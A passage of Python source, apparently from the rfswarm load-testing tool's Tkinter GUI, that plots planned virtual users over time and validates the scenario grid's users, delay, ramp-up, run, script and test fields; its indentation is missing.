mxuser = 0
mxusero = 0
for grp in base.scriptlist:
if "Users" in grp.keys():
mxuser += grp["Users"]
mxusero += grp["Users"]
base.debugmsg(6, "mxuser", mxuser)
if mxuser <10:
mxuser += 1
else:
mxuser = int(mxuser*1.15)
base.debugmsg(5, "mxuser", mxuser)
# work out max duration
mxdur = 0
for grp in base.scriptlist:
if "Users" in grp.keys():
dur = grp["Delay"] + (grp["RampUp"]*2) + grp["Run"]
dur = int(dur * 1.03)
if mxdur < dur:
mxdur = dur
base.debugmsg(6, "mxdur", mxdur)
totusrsxy = {}
totcounts = {}
totcounts[0] = 0
base.debugmsg(6, 'totcounts', totcounts)
base.debugmsg(6, 'totcounts.keys()', totcounts.keys())
totinc = 1
if mxdur > 60:
totinc = 10
if mxdur > 3600:
totinc = 60
self.pln_graph.delete("all")
ym0 = graphh-int(axissz/2) # point below x axis
ym1 = graphh-axissz # x axis line
ym2 = 0 # top of graph
base.debugmsg(5, "ym0:", ym0, " ym1:", ym1, " ym2:", ym2)
xm1 = axissz # y axis line
if mxusero>99:
xm1 = (axissz*2)
if mxusero>9999:
xm1 = (axissz*3)
xm0 = int(xm1/2) # point to left of y axis
xm2 = graphw # right hand site of x axis
xmt = xm2-xm1 # total lenght of x axis
base.debugmsg(5, "xm0:", xm0, " xm1:", xm1, " xm2:", xm2, " xmt:",xmt)
# y-axis
self.pln_graph.create_line(xm1, ym1, xm1, ym2)
# x-axis
# base.gui.pln_graph.create_line(10, graphh-10, graphw, graphh-10, fill="blue")
self.pln_graph.create_line(xm1, ym1, xm2, ym1)
# draw zero
self.pln_graph.create_line(xm1, ym0, xm1, ym1)
self.pln_graph.create_line(xm0, ym1, xm1, ym1)
self.pln_graph.create_text([xm0, ym0], text="0")
# populate x axis (time)
base.debugmsg(5, "populate x axis (time)")
base.debugmsg(9, "mxdur", mxdur)
durinc = 1
if mxdur > 30: # 30 sec
durinc = 15 # 15 sec
if mxdur > 120: # 120 = 2 min
durinc = 60 # 1 min
if mxdur > 1800: # 60 * 30 = 1800 sec = 1/2hr
durinc = 300 # 5 min
if mxdur > 3600: # 60 * 60 = 3600 sec = 1hr
durinc = 600 # 10 min
if mxdur > 7200: # 60 * 60 * 2 = 7200 sec = 2hr
durinc = 3600 # 1 hr
if mxdur > 36000: # 60 * 60 * 10= 36000 sec = 10hr
durinc = 7200 # 2 hr
base.debugmsg(9, "durinc", durinc)
if mxdur>0:
mrkpct = durinc / (mxdur * 1.0)
else:
mrkpct = 0
base.debugmsg(9, "mrkpct", mrkpct)
base.debugmsg(9, "xm1", xm1, "xm2", xm2, "xm2-xm1", xm2-xm1)
mrkinc = int(xmt * mrkpct)
base.debugmsg(9, "mrkinc", mrkinc)
if mrkinc < 1:
mrkinc = 1
tmmrk = xm1 + mrkinc
base.debugmsg(9, "tmmrk", tmmrk)
base.debugmsg(9, "durinc", durinc)
durmrk = durinc
base.debugmsg(9, "durmrk", durmrk)
gridcolour = "#cfcfcf"
while durmrk < mxdur+1:
base.debugmsg(9, "x1", tmmrk, "y1", ym0, "x2", tmmrk, "y2", ym1)
# base.gui.pln_graph.create_line(tmmrk, ym0, tmmrk, ym1)
self.pln_graph.create_line(tmmrk, ym1, tmmrk, ym2, fill=gridcolour)
base.debugmsg(9, "format_sec({})".format(durmrk), base.format_sec(durmrk))
self.pln_graph.create_text([tmmrk, ym0], text=base.format_sec(durmrk))
tmmrk += mrkinc
base.debugmsg(9, "tmmrk", tmmrk)
durmrk += durinc
base.debugmsg(9, "durmrk", durmrk)
# populate y axis (Users)
base.debugmsg(9, "populate y axis (Users)")
usrinc = 1
if mxuser > 15:
usrinc = int((mxusero/100)+0.9)*10
base.debugmsg(9, "mxusero", mxusero)
base.debugmsg(9, "usrinc", usrinc)
base.debugmsg(9, "usrinc", usrinc)
usrmrk = usrinc
if mxuser>0:
mrkpct = usrmrk / (mxuser * 1.0)
else:
mrkpct = 0
base.debugmsg(9, "mrkpct", mrkpct)
txtmrkoffset = int(int(ym1 * mrkpct)/2)
base.debugmsg(9, "txtmrkoffset", txtmrkoffset)
while usrmrk < mxuser:
base.debugmsg(9, "usrmrk", usrmrk)
mrkpct = usrmrk / (mxuser * 1.0)
base.debugmsg(9, "mrkpct", mrkpct)
mrk = ym1 - int(ym1 * mrkpct)
base.debugmsg(9, "mrk", mrk)
txtmrk = mrk + txtmrkoffset
# base.gui.pln_graph.create_line(xm0, mrk, xm1, mrk)
self.pln_graph.create_line(xm1, mrk, xm2, mrk, fill=gridcolour)
# base.gui.pln_graph.create_text([xm0, txtmrk], text="{}".format(usrmrk))
self.pln_graph.create_text([xm0, mrk], text="{}".format(usrmrk))
usrmrk += usrinc
xlen = xmt
delx = 0
base.debugmsg(6, "For grp In scriptlist")
for grp in base.scriptlist:
if "Users" in grp.keys():
base.debugmsg(6, "Index", grp["Index"])
colour = base.line_colour(grp["Index"])
base.debugmsg(6, "Index", grp["Index"], "Line colour", colour)
# delay
delaypct = grp["Delay"] / (mxdur * 1.0)
delx = int(xlen * delaypct) + xm1
base.debugmsg(6, "Index", grp["Index"], "Delay:", grp["Delay"], " (xlen:",xlen," * delaypct:", delaypct, ") + xm1:", xm1, " = delx:", delx)
# ramp-up
rusx = delx
rusy = graphh-axissz
usrpct = grp["Users"] / (mxuser * 1.0)
base.debugmsg(6, "Index", grp["Index"], "RampUp:Users", grp["Users"], "/ mxuser", mxuser, " = usrpct", usrpct)
rudpct = grp["RampUp"] / (mxdur * 1.0)
ruex = int(xlen * rudpct) + delx
base.debugmsg(6, "Index", grp["Index"], "RampUp:RampUp", grp["RampUp"], "ruex", ruex)
ruey = rusy - int(rusy * usrpct)
base.debugmsg(6, "Index", grp["Index"], "RampUp:rusx", str(rusx), "rusy", str(rusy), "ruex", str(ruex), "ruey", str(ruey))
self.pln_graph.create_line(rusx, rusy, ruex, ruey, fill=colour)
index = grp["Index"]
if index not in totusrsxy:
totusrsxy[index] = {}
if "addpct" not in totusrsxy:
totusrsxy["addpct"] = {}
totusrsxy[index]['delaypct'] = delaypct
totusrsxy[index]['usrpct'] = usrpct
totusrsxy[index]['rudpct'] = rudpct
if delaypct not in totusrsxy["addpct"]:
totusrsxy["addpct"][delaypct] = 0
totusrsxy["addpct"][delaypct] += 0
rutpct = delaypct + rudpct
if rutpct not in totusrsxy["addpct"]:
totusrsxy["addpct"][rutpct] = 0
totusrsxy["addpct"][rutpct] += usrpct
# Run
rnpct = grp["Run"] / (mxdur * 1.0)
rnex = int(xlen * rnpct) + ruex
base.debugmsg(6, "Index", grp["Index"], "rnex", rnex)
self.pln_graph.create_line(ruex, ruey, rnex, ruey, fill=colour)
rntpct = delaypct + rudpct + rnpct
if rntpct not in totusrsxy["addpct"]:
totusrsxy["addpct"][rntpct] = 0
totusrsxy["addpct"][rntpct] += 0
# ramp-down
rdex = rnex+(ruex-rusx)
base.debugmsg(6, "Index", grp["Index"], "rdex", rdex)
self.pln_graph.create_line(rnex, ruey, rdex, rusy, fill=colour, dash=(4, 4))
rdtpct = delaypct + rudpct + rnpct + rudpct
if rdtpct not in totusrsxy["addpct"]:
totusrsxy["addpct"][rdtpct] = 0
totusrsxy["addpct"][rdtpct] += (usrpct * -1)
base.debugmsg(6, "Total Users")
base.debugmsg(6, "totusrsxy:", totusrsxy)
totcolour = "#000000"
sy = graphh-axissz
prevx = 0
prevx2 = 0
prevy = 0
k = "addpct"
addzero = 0
rusy = graphh-axissz
for x in sorted(totusrsxy[k].keys()):
newx = x
newy = prevy + totusrsxy[k][x]
base.debugmsg(6, "prevx", prevx, "prevy", prevy, "newx", newx, "newy", newy)
if addzero > 1:
prevx = prevx2
base.debugmsg(6, "prevx", prevx, "prevy", prevy, "newx", newx, "newy", newy)
if newy == prevy:
addzero += 1
base.debugmsg(6, "addzero:", addzero)
prevx2 = prevx
else:
addzero = 0
x1 = int(xlen * prevx) + xm1
x2 = int(xlen * newx) + xm1
y1 = rusy - int(rusy * prevy)
y2 = rusy - int(rusy * newy)
base.debugmsg(6, "x1", x1, "y1", y1, "x2", x2, "y2", y2)
self.pln_graph.create_line(x1, y1, x2, y2, fill=totcolour)
prevx = newx
prevy = newy
base.debugmsg(6, "pln_update_graph done")
def pln_update_graph_orig(self):
base.debugmsg(6, "pln_update_graph")
base.debugmsg(7, "pln_graph:", self.pln_graph)
base.debugmsg(9, "scriptlist:", base.scriptlist)
try:
base.debugmsg(9, "winfo_width:", self.pln_graph.winfo_width(), " winfo_height:",self.pln_graph.winfo_height())
graphh = self.pln_graph.winfo_height()
graphw = self.pln_graph.winfo_width()
except:
return False
base.debugmsg(9, "graphh", graphh, "graphw", graphw)
axissz = 10
if graphw > graphh:
axissz = int(graphh * 0.1)
else:
axissz = int(graphw * 0.1)
# work out max users
mxuser = 0
mxusero = 0
for grp in base.scriptlist:
if "Users" in grp.keys():
mxuser += grp["Users"]
mxusero += grp["Users"]
base.debugmsg(6, "mxuser", mxuser)
if mxuser <10:
mxuser += 1
else:
mxuser = int(mxuser*1.15)
base.debugmsg(5, "mxuser", mxuser)
# work out max duration
mxdur = 0
for grp in base.scriptlist:
if "Users" in grp.keys():
dur = grp["Delay"] + (grp["RampUp"]*2) + grp["Run"]
dur = int(dur * 1.03)
if mxdur < dur:
mxdur = dur
base.debugmsg(6, "mxdur", mxdur)
totcounts = {}
totcounts[0] = 0
base.debugmsg(6, 'totcounts', totcounts)
base.debugmsg(6, 'totcounts.keys()', totcounts.keys())
totinc = 1
if mxdur > 60:
totinc = 10
if mxdur > 3600:
totinc = 60
self.pln_graph.delete("all")
ym0 = graphh-int(axissz/2) # point below x axis
ym1 = graphh-axissz # x axis line
ym2 = 0 # top of graph
xm1 = axissz # y axis line
if mxusero>99:
xm1 = (axissz*2)
if mxusero>9999:
xm1 = (axissz*3)
xm0 = int(xm1/2) # point to left of y axis
xm2 = graphw # right hand site of x axis
xmt = xm2-xm1 # total lenght of x axis
# y-axis
self.pln_graph.create_line(xm1, ym1, xm1, ym2)
# x-axis
# base.gui.pln_graph.create_line(10, graphh-10, graphw, graphh-10, fill="blue")
self.pln_graph.create_line(xm1, ym1, xm2, ym1)
# draw zero
self.pln_graph.create_line(xm1, ym0, xm1, ym1)
self.pln_graph.create_line(xm0, ym1, xm1, ym1)
self.pln_graph.create_text([xm0, ym0], text="0")
# populate x axis (time)
base.debugmsg(5, "populate x axis (time)")
base.debugmsg(9, "mxdur", mxdur)
durinc = 1
if mxdur > 30: # 30 sec
durinc = 15 # 15 sec
if mxdur > 120: # 120 = 2 min
durinc = 60 # 1 min
if mxdur > 1800: # 60 * 30 = 1800 sec = 1/2hr
durinc = 300 # 5 min
if mxdur > 3600: # 60 * 60 = 3600 sec = 1hr
durinc = 600 # 10 min
if mxdur > 7200: # 60 * 60 * 2 = 7200 sec = 2hr
durinc = 3600 # 1 hr
if mxdur > 36000: # 60 * 60 * 10= 36000 sec = 10hr
durinc = 7200 # 2 hr
base.debugmsg(9, "durinc", durinc)
if mxdur>0:
mrkpct = durinc / (mxdur * 1.0)
else:
mrkpct = 0
base.debugmsg(9, "mrkpct", mrkpct)
base.debugmsg(9, "xm1", xm1, "xm2", xm2, "xm2-xm1", xm2-xm1)
mrkinc = int(xmt * mrkpct)
base.debugmsg(9, "mrkinc", mrkinc)
if mrkinc < 1:
mrkinc = 1
tmmrk = xm1 + mrkinc
base.debugmsg(9, "tmmrk", tmmrk)
base.debugmsg(9, "durinc", durinc)
durmrk = durinc
base.debugmsg(9, "durmrk", durmrk)
gridcolour = "#cfcfcf"
while durmrk < mxdur+1:
base.debugmsg(9, "x1", tmmrk, "y1", ym0, "x2", tmmrk, "y2", ym1)
# base.gui.pln_graph.create_line(tmmrk, ym0, tmmrk, ym1)
self.pln_graph.create_line(tmmrk, ym1, tmmrk, ym2, fill=gridcolour)
base.debugmsg(9, "format_sec({})".format(durmrk), base.format_sec(durmrk))
self.pln_graph.create_text([tmmrk, ym0], text=base.format_sec(durmrk))
tmmrk += mrkinc
base.debugmsg(9, "tmmrk", tmmrk)
durmrk += durinc
base.debugmsg(9, "durmrk", durmrk)
# populate y axis (Users)
base.debugmsg(9, "populate y axis (Users)")
usrinc = 1
if mxuser > 15:
usrinc = int((mxusero/100)+0.9)*10
base.debugmsg(9, "mxusero", mxusero)
base.debugmsg(9, "usrinc", usrinc)
base.debugmsg(9, "usrinc", usrinc)
usrmrk = usrinc
if mxuser>0:
mrkpct = usrmrk / (mxuser * 1.0)
else:
mrkpct = 0
base.debugmsg(9, "mrkpct", mrkpct)
txtmrkoffset = int(int(ym1 * mrkpct)/2)
base.debugmsg(9, "txtmrkoffset", txtmrkoffset)
while usrmrk < mxuser:
base.debugmsg(9, "usrmrk", usrmrk)
mrkpct = usrmrk / (mxuser * 1.0)
base.debugmsg(9, "mrkpct", mrkpct)
mrk = ym1 - int(ym1 * mrkpct)
base.debugmsg(9, "mrk", mrk)
txtmrk = mrk + txtmrkoffset
# base.gui.pln_graph.create_line(xm0, mrk, xm1, mrk)
self.pln_graph.create_line(xm1, mrk, xm2, mrk, fill=gridcolour)
# base.gui.pln_graph.create_text([xm0, txtmrk], text="{}".format(usrmrk))
self.pln_graph.create_text([xm0, mrk], text="{}".format(usrmrk))
usrmrk += usrinc
xlen = xmt
delx = 0
base.debugmsg(6, "For grp In scriptlist")
for grp in base.scriptlist:
if "Users" in grp.keys():
base.debugmsg(6, "Index", grp["Index"])
colour = base.line_colour(grp["Index"])
base.debugmsg(6, "Index", grp["Index"], "Line colour", colour)
# delay
delaypct = grp["Delay"] / (mxdur * 1.0)
delx = int(xlen * delaypct) + xm1
base.debugmsg(6, "Index", grp["Index"], "Delay", grp["Delay"], "delx", delx)
# ramp-up
rusx = delx
rusy = graphh-axissz
usrpct = grp["Users"] / (mxuser * 1.0)
base.debugmsg(9, "Index", grp["Index"], "RampUp:Users", grp["Users"], "/ mxuser", mxuser, " = usrpct", usrpct)
rudpct = grp["RampUp"] / (mxdur * 1.0)
ruex = int(xlen * rudpct) + delx
base.debugmsg(9, "Index", grp["Index"], "RampUp:RampUp", grp["RampUp"], "ruex", ruex)
ruey = rusy - int(rusy * usrpct)
base.debugmsg(6, "Index", grp["Index"], "RampUp:rusx", rusx, "rusy", rusy, "ruex", ruex, "ruey", ruey)
self.pln_graph.create_line(rusx, rusy, ruex, ruey, fill=colour)
# Run
rnpct = grp["Run"] / (mxdur * 1.0)
rnex = int(xlen * rnpct) + ruex
base.debugmsg(6, "Index", grp["Index"], "rnex", rnex)
self.pln_graph.create_line(ruex, ruey, rnex, ruey, fill=colour)
# ramp-down
rdex = rnex+(ruex-rusx)
base.debugmsg(6, "Index", grp["Index"], "rdex", rdex)
self.pln_graph.create_line(rnex, ruey, rdex, rusy, fill=colour, dash=(4, 4))
# totcounts = {}
# totinc = 1
# if mxdur > 60:
totnxt = 0
base.debugmsg(6, "Index", grp["Index"], 'totnxt', totnxt)
base.debugmsg(8, "Index", grp["Index"], 'totcounts', totcounts)
base.debugmsg(8, "Index", grp["Index"], 'totcounts.keys()', totcounts.keys())
while totnxt < mxdur:
totnxt += totinc
base.debugmsg(6, "Index", grp["Index"], 'totnxt', totnxt)
if totnxt not in totcounts.keys():
totcounts[totnxt] = 0
base.debugmsg(6, "Index", grp["Index"], 'totcounts[',totnxt,']', totcounts[totnxt])
# if totnxt < grp["Delay"]:
# totcounts[totnxt] += 0
if totnxt > grp["Delay"] and totnxt < (grp["RampUp"] + grp["Delay"]):
# calculate users during RampUp
rupct = (totnxt - grp["Delay"]) /grp["RampUp"]
base.debugmsg(9, 'rupct', rupct)
ruusr = int(grp["Users"] * rupct)
base.debugmsg(9, 'ruusr', ruusr)
base.debugmsg(9, 'totcounts', totcounts)
base.debugmsg(9, 'totcounts[totnxt]', totcounts[totnxt])
totcounts[totnxt] = int(totcounts[totnxt] + ruusr)
base.debugmsg(6, "Index", grp["Index"], 'totcounts[',totnxt,']', totcounts[totnxt])
base.debugmsg(9, 'ruusr', ruusr)
base.debugmsg(9, 'totcounts[totnxt]', totcounts[totnxt])
if totnxt > (grp["Delay"] + grp["RampUp"] - 1) \
and totnxt < (grp["Delay"] + grp["RampUp"] + grp["Run"] + 1):
# all users running
base.debugmsg(9, 'run:totnxt', totnxt)
base.debugmsg(9, 'run:grp["Users"]', grp["Users"])
totcounts[totnxt] += grp["Users"]
base.debugmsg(6, "Index", grp["Index"], 'totcounts[',totnxt,']', totcounts[totnxt])
if totnxt > (grp["RampUp"] + grp["Delay"] + grp["Run"]) \
and totnxt < (grp["Delay"] + (grp["RampUp"] *2 ) + grp["Run"]):
# calculate users during RampDown
base.debugmsg(9, 'RampDown:totnxt', totnxt)
drr = grp["Delay"] + grp["RampUp"] + grp["Run"]
base.debugmsg(9, 'RampDown:drr', drr)
rdsec = totnxt - drr
base.debugmsg(9, 'RampDown:rdsec', rdsec)
rdpct = rdsec /grp["RampUp"]
base.debugmsg(9, 'RampDown:rdpct', rdpct)
ruusr = int(grp["Users"] * rdpct)
base.debugmsg(9, 'RampDown:ruusr', ruusr)
totcounts[totnxt] += grp["Users"] - ruusr
base.debugmsg(6, "Index", grp["Index"], 'totcounts[',totnxt,']', totcounts[totnxt])
base.debugmsg(6, "Total Users")
totcolour = "#000000"
# totcolour = "#0459af"
sy = graphh-axissz
prevkey = 0
prevx = 0
prevy = sy
prevval = 0
rampdown = False
for key in totcounts.keys():
if rampdown == False and totcounts[key] < prevval:
rampdown = True
base.debugmsg(6, prevkey, totcounts[prevkey])
usrpct = prevval / (mxuser * 1.0)
base.debugmsg(6, "Users", totcounts[key], "/ mxuser", mxuser, " = usrpct", usrpct)
newy = sy - int(sy * usrpct)
keypct = prevkey / (mxdur * 1.0)
base.debugmsg(6, "key", key, "/ mxdur", mxdur, " = keypct", keypct)
newx = int(xlen * keypct) + delx
base.debugmsg(6, "prevx", prevx, "prevy", prevy, "newx", newx, "newy", newy)
self.pln_graph.create_line(prevx, prevy, newx, newy, fill=totcolour)
prevx = newx
prevy = newy
if totcounts[key] != prevval:
base.debugmsg(6, key, totcounts[key])
prevval = totcounts[key]
usrpct = totcounts[key] / (mxuser * 1.0)
base.debugmsg(6, "TU: Users", totcounts[key], "/ mxuser", mxuser, " = usrpct", usrpct)
newy = sy - int(sy * usrpct)
keypct = key / (mxdur * 1.0)
base.debugmsg(6, "TU: key", key, "/ mxdur", mxdur, " = keypct", keypct)
newx = int(xlen * keypct) + delx
base.debugmsg(6, "TU: prevx", prevx, "prevy", prevy, "newx", newx, "newy", newy)
if rampdown:
self.pln_graph.create_line(prevx, prevy, newx, newy, fill=totcolour, dash=(4, 4))
else:
self.pln_graph.create_line(prevx, prevy, newx, newy, fill=totcolour)
prevx = newx
prevy = newy
prevkey = key
def addScriptRow(self):
base.debugmsg(6, "addScriptRow")
row = base.scriptcount
colour = base.line_colour(base.scriptcount)
base.debugmsg(8, "colour:", colour)
idx = tk.Label(self.scriptgrid, text=str(base.scriptcount))
idx['bg'] = colour
idx.grid(column=self.plancolidx, row=base.scriptcount, sticky="nsew")
num = base.scriptlist[base.scriptcount]["Users"]
usr = ttk.Entry(self.scriptgrid, width=5, justify="right", validate="focusout")
usr.config(validatecommand=lambda: self.sr_users_validate(row))
usr.grid(column=self.plancolusr, row=base.scriptcount, sticky="nsew")
usr.insert(0, num)
base.scriptlist[base.scriptcount]["Users"] = int(num)
num = base.scriptlist[base.scriptcount]["Delay"]
dly = ttk.Entry(self.scriptgrid, width=5, justify="right", validate="focusout")
dly.config(validatecommand=lambda: self.sr_delay_validate(row))
dly.grid(column=self.plancoldly, row=base.scriptcount, sticky="nsew")
dly.insert(0, num)
base.scriptlist[base.scriptcount]["Delay"] = int(num)
num = base.scriptlist[base.scriptcount]["RampUp"]
rmp = ttk.Entry(self.scriptgrid, width=7, justify="right", validate="focusout")
rmp.config(validatecommand=lambda: self.sr_rampup_validate(row))
rmp.grid(column=self.plancolrmp, row=base.scriptcount, sticky="nsew")
rmp.insert(0, num)
base.scriptlist[base.scriptcount]["RampUp"] = int(num)
num = base.scriptlist[base.scriptcount]["Run"]
run = ttk.Entry(self.scriptgrid, width=8, justify="right", validate="focusout")
run.config(validatecommand=lambda: self.sr_run_validate(row))
run.grid(column=self.plancolrun, row=base.scriptcount, sticky="nsew")
run.insert(0, num)
base.scriptlist[base.scriptcount]["Run"] = int(num)
fgf = ttk.Frame(self.scriptgrid)
fgf.grid(column=self.plancolscr, row=base.scriptcount, sticky="nsew")
scr = ttk.Entry(fgf, state="readonly", justify="right")
scr.grid(column=0, row=0, sticky="nsew")
fgf.columnconfigure(scr, weight=1)
scrf = ttk.Button(fgf, text="...", width=1)
scrf.config(command=lambda: self.sr_file_validate(row))
scrf.grid(column=1, row=0, sticky="nsew")
fgf.columnconfigure(scrf, weight=0)
base.scriptlist[row]["TestVar"] = tk.StringVar(base.scriptlist[row]["Test"], name="row{}".format(row))
base.scriptlist[row]["TestVar"].trace("w", self.sr_test_validate)
tst = ttk.OptionMenu(self.scriptgrid, base.scriptlist[row]["TestVar"], None, "test")
tst.config(width=20)
tst.grid(column=self.plancoltst, row=base.scriptcount, sticky="nsew")
self.scriptgrid.columnconfigure(self.plancoladd, weight=0)
new = ttk.Button(self.scriptgrid, text="X", command=lambda: self.sr_remove_row(row), width=1)
new.grid(column=self.plancoladd, row=base.scriptcount, sticky="nsew")
# self.scrollable_sg.update()
base.debugmsg(6, "base.args.nogui", base.args.nogui)
if not base.args.nogui:
try:
base.debugmsg(6, "call pln_update_graph")
self.pln_update_graph()
base.debugmsg(6, "call fill_canvas")
# self.scrollable_sg.fill_canvas()
fc = threading.Thread(target=self.scrollable_sg.fill_canvas)
fc.start()
except:
pass
base.debugmsg(6, "addScriptRow done")
def sr_users_validate(self, *args):
base.debugmsg(5, "args:",args)
if args:
r = args[0]
v = None
if len(args)>1:
usrs = args[1]
if not base.args.nogui:
base.debugmsg(8, "sr_users_validate: len(grid_slaves):",len(self.scriptgrid.grid_slaves(column=self.plancolusr, row=r)))
while len(self.scriptgrid.grid_slaves(column=self.plancolusr, row=r)) < 1:
base.debugmsg(8, "sr_users_validate: len(grid_slaves):",len(self.scriptgrid.grid_slaves(column=self.plancolusr, row=r)))
time.sleep(0.01)
base.debugmsg(9, "sr_users_validate: grid_slaves:",self.scriptgrid.grid_slaves(column=self.plancolusr, row=r))
base.debugmsg(9, "sr_users_validate: grid_slaves[0]:",self.scriptgrid.grid_slaves(column=self.plancolusr, row=r)[0])
self.scriptgrid.grid_slaves(column=self.plancolusr, row=r)[0].delete(0,'end')
self.scriptgrid.grid_slaves(column=self.plancolusr, row=r)[0].insert(0,usrs)
if not base.args.nogui:
usrs = self.scriptgrid.grid_slaves(column=self.plancolusr, row=r)[0].get()
base.debugmsg(5, "Row:", r, "Users:", usrs)
base.scriptlist[r]["Users"] = int(usrs)
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
self.pln_update_graph()
except:
pass
return True
base.debugmsg(9, "RFSwarmGUI: grid_size:", self.scriptgrid.grid_size())
for r in range(self.scriptgrid.grid_size()[1]):
base.debugmsg(9, "RFSwarmGUI: r:", r)
if r>0:
usrs = self.scriptgrid.grid_slaves(column=self.plancolusr, row=r)[0].get()
base.debugmsg(9, "Row:", r, "Users:", usrs)
base.scriptlist[r]["Users"] = int(usrs)
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
self.pln_update_graph()
except:
pass
return True
def sr_delay_validate(self, *args):
base.debugmsg(5, "args:",args)
if args:
r = args[0]
v = None
if len(args)>1:
dly = str(args[1])
if not base.args.nogui:
self.scriptgrid.grid_slaves(column=self.plancoldly, row=r)[0].delete(0,'end')
self.scriptgrid.grid_slaves(column=self.plancoldly, row=r)[0].insert(0,dly)
if not base.args.nogui:
dly = self.scriptgrid.grid_slaves(column=self.plancoldly, row=r)[0].get()
base.debugmsg(6, "Row:", r, "Delay:", dly)
if len(dly)>0:
base.scriptlist[r]["Delay"] = int(dly)
self.plan_scnro_chngd = True
else:
base.scriptlist[r]["Delay"] = 0
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
base.debugmsg(6, "try pln_update_graph (if)")
self.pln_update_graph()
except Exception as e:
# base.debugmsg(6, "try pln_update_graph (if) Exception:", e)
pass
return True
base.debugmsg(9, self.scriptgrid.grid_size())
for r in range(self.scriptgrid.grid_size()[1]):
base.debugmsg(9, r)
if r>0:
dly = self.scriptgrid.grid_slaves(column=self.plancoldly, row=r)[0].get()
base.debugmsg(9, "Row:", r, "Delay:", dly)
base.scriptlist[r]["Delay"] = int(dly)
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
base.debugmsg(6, "try pln_update_graph (for)")
self.pln_update_graph()
except:
pass
return True
def sr_rampup_validate(self, *args):
base.debugmsg(5, "args:",args)
if args:
r = args[0]
rmp = None
if len(args)>1:
rmp = str(args[1])
if not base.args.nogui:
self.scriptgrid.grid_slaves(column=self.plancolrmp, row=r)[0].delete(0,'end')
self.scriptgrid.grid_slaves(column=self.plancolrmp, row=r)[0].insert(0,rmp)
if not base.args.nogui:
rmp = self.scriptgrid.grid_slaves(column=self.plancolrmp, row=r)[0].get()
base.debugmsg(6, "Row:", r, "RampUp:", rmp)
base.scriptlist[r]["RampUp"] = int(rmp)
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
self.pln_update_graph()
except:
pass
return True
base.debugmsg(9, self.scriptgrid.grid_size())
for r in range(self.scriptgrid.grid_size()[1]):
base.debugmsg(9, r)
if r>0:
rmp = self.scriptgrid.grid_slaves(column=self.plancolrmp, row=r)[0].get()
base.debugmsg(9, "Row:", r, "RampUp:", rmp)
base.scriptlist[r]["RampUp"] = int(rmp)
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
self.pln_update_graph()
except:
pass
return True
def sr_run_validate(self, *args):
base.debugmsg(5, "args:",args)
if args:
r = args[0]
run = None
if len(args)>1:
run = str(args[1])
if not base.args.nogui:
self.scriptgrid.grid_slaves(column=self.plancolrun, row=r)[0].delete(0,'end')
self.scriptgrid.grid_slaves(column=self.plancolrun, row=r)[0].insert(0,run)
if not base.args.nogui:
run = self.scriptgrid.grid_slaves(column=self.plancolrun, row=r)[0].get()
base.debugmsg(6, "Row:", r, "Run:", run)
base.scriptlist[r]["Run"] = int(run)
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
self.pln_update_graph()
except:
pass
return True
base.debugmsg(9, self.scriptgrid.grid_size())
for r in range(self.scriptgrid.grid_size()[1]):
base.debugmsg(9, r)
if r>0:
run = self.scriptgrid.grid_slaves(column=self.plancolrun, row=r)[0].get()
base.debugmsg(9, "Row:", r, "Run:", run)
base.scriptlist[r]["Run"] = int(run)
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
self.pln_update_graph()
except:
pass
return True
def sr_file_validate(self, r, *args):
base.debugmsg(9, r)
if not base.args.nogui:
fg = self.scriptgrid.grid_slaves(column=self.plancolscr, row=r)[0].grid_slaves()
base.debugmsg(9, fg)
base.debugmsg(9, fg[1].get())
if args:
scriptfile = args[0]
else:
if not base.args.nogui:
scriptfile = str(tkf.askopenfilename(initialdir=base.config['Plan']['ScriptDir'], title = "Select Robot Framework File", filetypes = (("Robot Framework","*.robot"),("all files","*.*"))))
else:
scriptfile = ""
base.debugmsg(7, "scriptfile:", scriptfile)
if len(scriptfile)>0:
fg[1].configure(state='normal')
fg[1].select_clear()
fg[1].delete(0, 'end')
fg[1].insert(0, os.path.basename(scriptfile))
fg[1].configure(state='readonly')
base.scriptlist[r]["Script"] = scriptfile
base.debugmsg(8, "test: ", fg[1].get())
script_hash = base.hash_file(scriptfile, os.path.basename(scriptfile))
base.scriptlist[r]["ScriptHash"] = script_hash
if script_hash not in base.scriptfiles:
base.scriptfiles[script_hash] = {
"id": script_hash,
"localpath": scriptfile,
"relpath": os.path.basename(scriptfile),
"type": "script"
}
t = threading.Thread(target=base.find_dependancies, args=(script_hash, ))
t.start()
base.config['Plan']['ScriptDir'] = os.path.dirname(scriptfile)
base.saveini()
self.sr_test_genlist(r)
else:
fg[1].configure(state='normal')
fg[1].delete(0, 'end')
# fg[1].select_clear()
fg[1].configure(state='readonly')
if "ScriptHash" in base.scriptlist[r]:
oldhash = base.scriptlist[r]["ScriptHash"]
t = threading.Thread(target=base.remove_hash, args=(oldhash, ))
t.start()
base.scriptlist[r]["Script"] = ''
base.scriptlist[r]["ScriptHash"] = ''
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
self.pln_update_graph()
except:
pass
return True
def sr_test_validate(self, *args):
base.debugmsg(6, "args:", args)
# r = int(args[0][-1:])+1
r = int(args[0][3:])
base.debugmsg(9, "sr_test_validate: r:", r)
if not base.args.nogui:
# if 0 in self.scriptgrid.grid_slaves:
base.debugmsg(9, "sr_test_validate: grid_slaves:", self.scriptgrid.grid_slaves(column=self.plancoltst, row=r))
tol = self.scriptgrid.grid_slaves(column=self.plancoltst, row=r)[0]
base.debugmsg(9, "sr_test_validate: tol:", tol)
v = None
if len(args)>1 and len(args[1])>1:
v = args[1]
base.debugmsg(9, "sr_test_validate: v:", v)
if not base.args.nogui:
base.scriptlist[r]["TestVar"].set(v)
base.scriptlist[r]["Test"] = v
else:
if not base.args.nogui:
base.debugmsg(9, "sr_test_validate: else")
base.debugmsg(9, "sr_test_validate: scriptlist[r][TestVar].get():", base.scriptlist[r]["TestVar"].get())
base.scriptlist[r]["Test"] = base.scriptlist[r]["TestVar"].get()
base.debugmsg(9, "scriptlist[r]:", base.scriptlist[r])
base.debugmsg(9, "scriptlist[r][TestVar].get():", base.scriptlist[r]["TestVar"].get())
self.plan_scnro_chngd = True
if not base.args.nogui:
try:
self.pln_update_graph()
except:
pass
return True
def sr_test_genlist(self, r):
